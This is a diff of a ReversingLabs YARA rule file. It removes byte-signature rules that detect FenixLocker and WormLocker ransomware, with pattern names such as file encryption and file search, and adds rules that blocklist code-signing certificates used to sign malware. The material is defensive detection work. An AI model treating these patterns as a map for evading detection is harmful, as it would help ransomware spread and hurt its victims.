8D 45 ?? 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? - 33 C9 51 57 6A ?? 51 51 68 ?? ?? ?? ?? 50 FF D6 8B F8 3B FB 0F 84 ?? ?? ?? ?? 6A ?? - 57 FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 57 FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? ?? - ?? ?? E9 ?? ?? ?? ?? 6A ?? 58 3B F0 0F 42 F0 03 F0 56 E8 ?? ?? ?? ?? 59 6A ?? 89 85 - ?? ?? ?? ?? 8D 45 ?? 50 56 8B B5 ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 75 - ?? 57 FF 15 ?? ?? ?? ?? EB ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 8D 55 ?? 50 - 8B CE E8 ?? ?? ?? ?? 59 59 33 DB 53 53 53 57 FF 15 ?? ?? ?? ?? 53 8D 45 ?? 50 FF 75 - ?? 56 57 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 8D 4D ?? 8D 45 ?? 0F 43 - 4D ?? 83 7D ?? ?? 51 0F 43 45 ?? 50 FF 15 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 8D 4D ?? - E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B C3 E8 ?? - ?? ?? ?? C3 - } - $encrypt_files_p1 = { - 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 33 F6 8D 4D ?? 89 B5 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 75 ?? 8D 4D ?? 68 ?? ?? ?? ?? 89 75 ?? 89 75 ?? E8 ?? - ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 7D ?? 8B D8 8B 45 - ?? 0F 43 7D ?? 59 3B D8 77 ?? 85 DB 74 ?? 2B C3 40 03 C7 89 85 ?? ?? ?? ?? 2B C7 50 - 6A ?? 57 EB ?? 53 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 85 ?? ?? - ?? ?? 46 2B C6 50 6A ?? 56 E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6 75 ?? EB ?? 2B F7 EB - ?? 83 CE ?? 83 FE ?? 74 ?? 83 7D ?? ?? 8D 45 ?? FF 75 ?? 0F 43 45 ?? 50 51 56 8D 4D - ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 33 F6 8D 85 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 - } - $encrypt_files_p2 = { - 50 E8 ?? ?? ?? ?? 6A ?? 5F 89 7D ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 51 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? - E8 ?? ?? ?? ?? C6 45 ?? ?? 8B C8 C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 51 0F 43 85 - ?? ?? ?? ?? 51 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 39 B5 ?? ?? ?? ?? 74 ?? 83 7D ?? ?? 8D - 55 ?? FF 75 ?? 0F 43 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 8B 40 ?? 03 C8 8B 51 - ?? 83 CA ?? 8B C2 0B C7 39 71 ?? 0F 44 D0 52 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? - ?? 59 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $enum_rsrc ) and ( all of ( $search_files_p* ) ) and ( all of ( $create_test_file_p* ) ) and ( all of ( $encrypt_files_p* ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Genezis" and ( pe.signatures [ i ] . serial == "00:c3:18:d8:76:76:82:58:a6:96:ab:9d:d8:25:e2:7a:cd" or pe.signatures [ i ] . serial == "c3:18:d8:76:76:82:58:a6:96:ab:9d:d8:25:e2:7a:cd" ) and 1615161600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Fenixlocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_06Df5C318759D6Ea9D090Bfb2Faf1D94 : INFO FILE { meta: - description = "Yara rule that detects FenixLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4868ced4-885d-548c-993c-ae25ab188172" - date = "2020-06-26" - modified = "2020-07-15" + id = "a61e61c1-9fa0-5fd9-b197-bb9d1b68c8f4" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.FenixLocker.yara#L1-L143" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11576-L11592" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "72712616df2c73c5c17696a7c5cb93f767910acf5f49cda27373fccfa29c5a4d" + logic_hash = "5f151ee5781a15cca4394fdd8200162eae47e9d088a0b1551c9ed22ce11473a2" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "FenixLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files_1 = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 68 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8B F1 E8 ?? ?? ?? ?? 83 C4 - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 - 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 8D 85 ?? - ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? - E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5E 8B 4D ?? 33 CD E8 ?? ?? - ?? ?? 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 68 ?? ?? ?? ?? FF - B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 - ?? ?? ?? ?? 50 68 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? - ?? 83 C4 ?? 33 C0 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8D 85 ?? ?? ?? ?? 50 - FF B5 ?? ?? ?? ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ?? ?? - ?? ?? 50 68 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 46 ?? 50 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 85 C0 0F 84 ?? ?? ?? ?? 57 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B F8 - 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 83 7E ?? ?? 72 ?? 8B 36 FF B5 ?? ?? ?? ?? 56 57 E8 - ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 50 57 6A ?? 6A ?? 6A ?? FF - B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B - E5 5D C3 8B 8D ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 01 8B C7 8B 4D ?? 5F 33 CD 5E E8 ?? - ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files_2 = { - B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 - ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? - F6 85 ?? ?? ?? ?? ?? 8D 55 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 ?? - 8B F8 C6 45 ?? ?? 8B 4D ?? 8B 55 ?? 41 3B D1 77 ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8B 55 - ?? 8B 4D ?? 4A 8B 45 ?? 23 CA 03 C1 89 4D ?? 8B 4D ?? 23 D0 83 3C 91 ?? 8D 34 95 ?? - ?? ?? ?? 75 ?? 6A ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 89 04 31 8B 4D ?? 8B 0C 31 85 - C9 74 ?? 57 E8 ?? ?? ?? ?? FF 45 ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 - 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B - C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 - C4 ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 - ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? - ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F - 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B BD ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 85 F6 0F 8E ?? ?? - ?? ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? - ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? - ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? - 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 - ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? - ?? ?? ?? 8B 40 ?? F6 84 05 ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? - ?? 8B D0 C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? - 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F - 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 - E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 8B 51 ?? 83 CA ?? 8B C2 83 C8 ?? 83 79 ?? - ?? 0F 45 C2 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? FF 15 ?? ?? ?? ?? 57 FF - 15 ?? ?? ?? ?? 83 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? - ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? - ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? - ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files_3 = { - E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ?? ?? 83 C4 - ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? - 72 ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F - 82 ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? - ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 83 FE ?? 0F - 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? B8 ?? ?? ?? - ?? 8D 8D ?? ?? ?? ?? 8A 11 3A 10 75 ?? 84 D2 74 ?? 8A 51 ?? 3A 50 ?? 75 ?? 83 C1 ?? - 83 C0 ?? 84 D2 75 ?? 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? - 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? - ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? - 8D 4D ?? 0F 43 4D ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 7E ?? 83 7D ?? ?? 8D 4D ?? 8D - 45 ?? 0F 43 4D ?? 83 7D ?? ?? 51 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? - 46 EB ?? 85 F6 75 ?? 83 F8 ?? B8 ?? ?? ?? ?? 0F 45 F0 89 B5 ?? ?? ?? ?? 8D 4D ?? E8 - ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? 8B 4D ?? 40 3D ?? ?? ?? - ?? 72 ?? F6 C1 ?? 75 ?? 8B 41 ?? 3B C1 73 ?? 2B C8 83 F9 ?? 72 ?? 83 F9 ?? 77 ?? 8B - C8 51 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? E8 - } - $encrypt_files_4 = { - 8B BD ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 - 0F 85 ?? ?? ?? ?? 85 F6 0F 8E ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 - ?? ?? 8D 8D ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 - ?? 40 8D 8D ?? ?? ?? ?? 50 FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 85 - ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8B 40 ?? - F6 84 05 ?? ?? ?? ?? ?? 75 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 8B D0 C6 45 ?? ?? 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? - E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 85 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? 8B 40 ?? 03 C8 8B 41 ?? 83 C8 ?? 83 79 ?? ?? 75 ?? 83 C8 ?? 6A ?? 50 E8 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? - ?? ?? 8B 48 ?? 8D 41 ?? 89 84 0D ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 - ?? ?? ?? ?? 8B 40 ?? C7 84 05 ?? ?? ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8D - 41 ?? 89 84 0D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 - 7D ?? ?? 0F 85 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? - E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 - } - $encrypt_files_5 = { - FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? - ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 8B 45 ?? C7 45 ?? ?? ?? ?? - ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8 ?? 72 ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? - ?? ?? B0 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B - E5 5D C3 E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? 51 8B D0 8D 4D ?? E8 ?? ?? ?? - ?? 83 C4 ?? C6 45 ?? ?? 8B 85 ?? ?? ?? ?? 83 F8 ?? 72 ?? 40 8D 8D ?? ?? ?? ?? 50 FF - B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? - ?? ?? C6 85 ?? ?? ?? ?? ?? 83 FE ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 8D 4D ?? C7 - 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? - ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8D 4D ?? 0F 43 4D ?? 50 E8 ?? ?? ?? ?? 83 C4 - ?? 85 C0 7E ?? 83 7D ?? ?? 8D 4D ?? 8D 45 ?? 0F 43 4D ?? 83 7D ?? ?? 51 0F 43 45 ?? - 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 46 89 B5 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 72 ?? - 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8B 45 ?? 83 F8 ?? 0F 82 ?? ?? ?? - ?? 40 8D 4D ?? 50 FF 75 ?? E8 ?? ?? ?? ?? E9 - } + condition: + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SpiffyTech Inc." and pe.signatures [ i ] . serial == "06:df:5c:31:87:59:d6:ea:9d:09:0b:fb:2f:af:1d:94" and 1634515201 <= pe.signatures [ i ] . not_after ) +} + +rule REVERSINGLABS_Cert_Blocklist_02De1Cc6C487954592F1Bf574Ca2B000 : INFO FILE +{ + meta: + description = "Certificate used for digitally signing malware." + author = "ReversingLabs" + id = "2a15d527-7f42-5c56-9740-9c2503a66f4f" + date = "2020-08-05" + modified = "2023-11-08" + reference = "ReversingLabs" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11594-L11610" + license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" + logic_hash = "40b78005d343684d08bb93e92c51eee10e674e8deb9eec290bc9ffe3b23061b1" + score = 75 + quality = 90 + tags = "INFO, FILE" + status = "RELEASED" + sharing = "TLP:WHITE" + category = "INFO" + importance = 25 condition: - uint16( 0 ) == 0x5A4D and ( $encrypt_files_1 and $encrypt_files_2 and $encrypt_files_3 ) or ( $encrypt_files_1 and $encrypt_files_4 and $encrypt_files_5 ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Orca System" and pe.signatures [ i ] . serial == "02:de:1c:c6:c4:87:95:45:92:f1:bf:57:4c:a2:b0:00" and 1613735394 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Wormlocker : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_A32B8B4F1Be43C23Eb2848Ab4Ef06Bb2 : INFO FILE { meta: - description = "Yara rule that detects WormLocker ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6d7b55b7-2e1b-56e0-950f-07a2d3fa17ae" - date = "2021-08-12" - modified = "2021-08-12" + id = "2ced71bb-622c-5597-91c3-210b9b5f3a4e" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.WormLocker.yara#L1-L69" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11612-L11630" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "87a4f805de78d7e7dffb176302407453108ca01552c682aeee38f8d0201263c9" + logic_hash = "dd7d44349baaf4a2e2f61b38cef31f288110bb03944fd4593f52a0ab03b9d172" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "WormLocker" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $set_environment = { - 73 ?? ?? ?? ?? 0A 06 02 7D ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 0C 08 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 02 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 73 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? - ?? ?? ?? 72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 00 09 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 02 7B ?? ?? - ?? ?? 6F ?? ?? ?? ?? 00 06 28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 20 ?? ?? ?? - ?? 6F ?? ?? ?? ?? 00 13 ?? 11 ?? 06 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 - 11 ?? 17 6F ?? ?? ?? ?? 00 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 2A - } - $find_files = { - 00 28 ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ?? - ?? ?? 28 ?? ?? ?? ?? 0C 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ?? - ?? 0D 08 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 73 ?? ?? - ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 00 11 ?? 09 11 ?? 9A 